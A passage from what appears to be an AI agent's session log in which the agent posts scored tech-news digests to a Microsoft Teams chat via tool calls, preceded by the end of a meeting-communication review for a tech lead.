the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nReported Copilot flaw could expose email and 2FA data \u2014 Score: 34/35. A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\nAccenture spends $4.18 billion on industrial cybersecurity expansion \u2014 Score: 31/35. Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\nCISA urges Fortinet hardening after credential exposure reports \u2014 Score: 30/35. CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\nNovo Nordisk breach highlights development-pipeline risk \u2014 Score: 30/35. The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\nWhite House tightens cybersecurity direction for national-security systems \u2014 Score: 29/35. A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\nLaw enforcement cleans nearly 15,000 SocGholish-infected sites \u2014 Score: 27/35. Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\nINC ransomware passes 830 reported victims \u2014 Score: 26/35. INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\nGentlemen ransomware maintains multiple EDR-killer tools \u2014 Score: 26/35. Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\nHHS settles ransomware investigation with a health plan \u2014 Score: 26/35. HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\nUSB worm spreads wallet-stealing malware through Windows shortcuts \u2014 Score: 25/35. A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863292556\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nAWS Transform previews automated FSx for ONTAP migration \u2014 Score: 32/35. AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\nUS Homeland Security awards AWS a $2.6 billion cloud contract \u2014 Score: 31/35. The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\nAWS Console Private Access works without internet connectivity \u2014 Score: 30/35. Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\nAWS extends managed MySQL 5.7 support through June 2029 \u2014 Score: 29/35. Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\nCloud-native and PyTorch conferences unite in China \u2014 Score: 29/35. KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\nNDAA proposal would codify CISA\u2019s vulnerability-program role \u2014 Score: 28/35. A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\nMicrosoft faces shareholder suit over AI spending and cloud disclosures \u2014 Score: 28/35. Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\nAlibaba Cloud expands in France amid sovereignty pressure \u2014 Score: 28/35. Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\nAWS opens a Local Zone in Hanoi \u2014 Score: 27/35. AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\nResearchers turn retired smartphones into a mini cloud \u2014 Score: 24/35. Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863293503\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nAWS DevOps Agent adds custom SRE agents and MCP/A2A access \u2014 Score: 33/35. AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\nGitHub makes Copilot CLI more selective about delegation \u2014 Score: 32/35. GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\nMicrosoft explains conflicts between coding-agent extensions \u2014 Score: 32/35. Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\nKimi K2.7-Code targets token-efficient agentic development \u2014 Score: 31/35. Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\nMicrosoft warns against overloading coding-agent skills \u2014 Score: 31/35. Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\nGitHits funds open-source code search for coding agents \u2014 Score: 30/35. GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\nCNCF details dependency lockdown for open-source CI/CD \u2014 Score: 30/35. CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\nAWS Glue adds Spark Connect for interactive development \u2014 Score: 29/35. Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\nEXANTE launches \u20ac1 million fund for critical open source \u2014 Score: 28/35. EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\nGitHub promotes pull-request limits for maintainer overload \u2014 Score: 28/35. GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863294467\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>   \"web_link\": 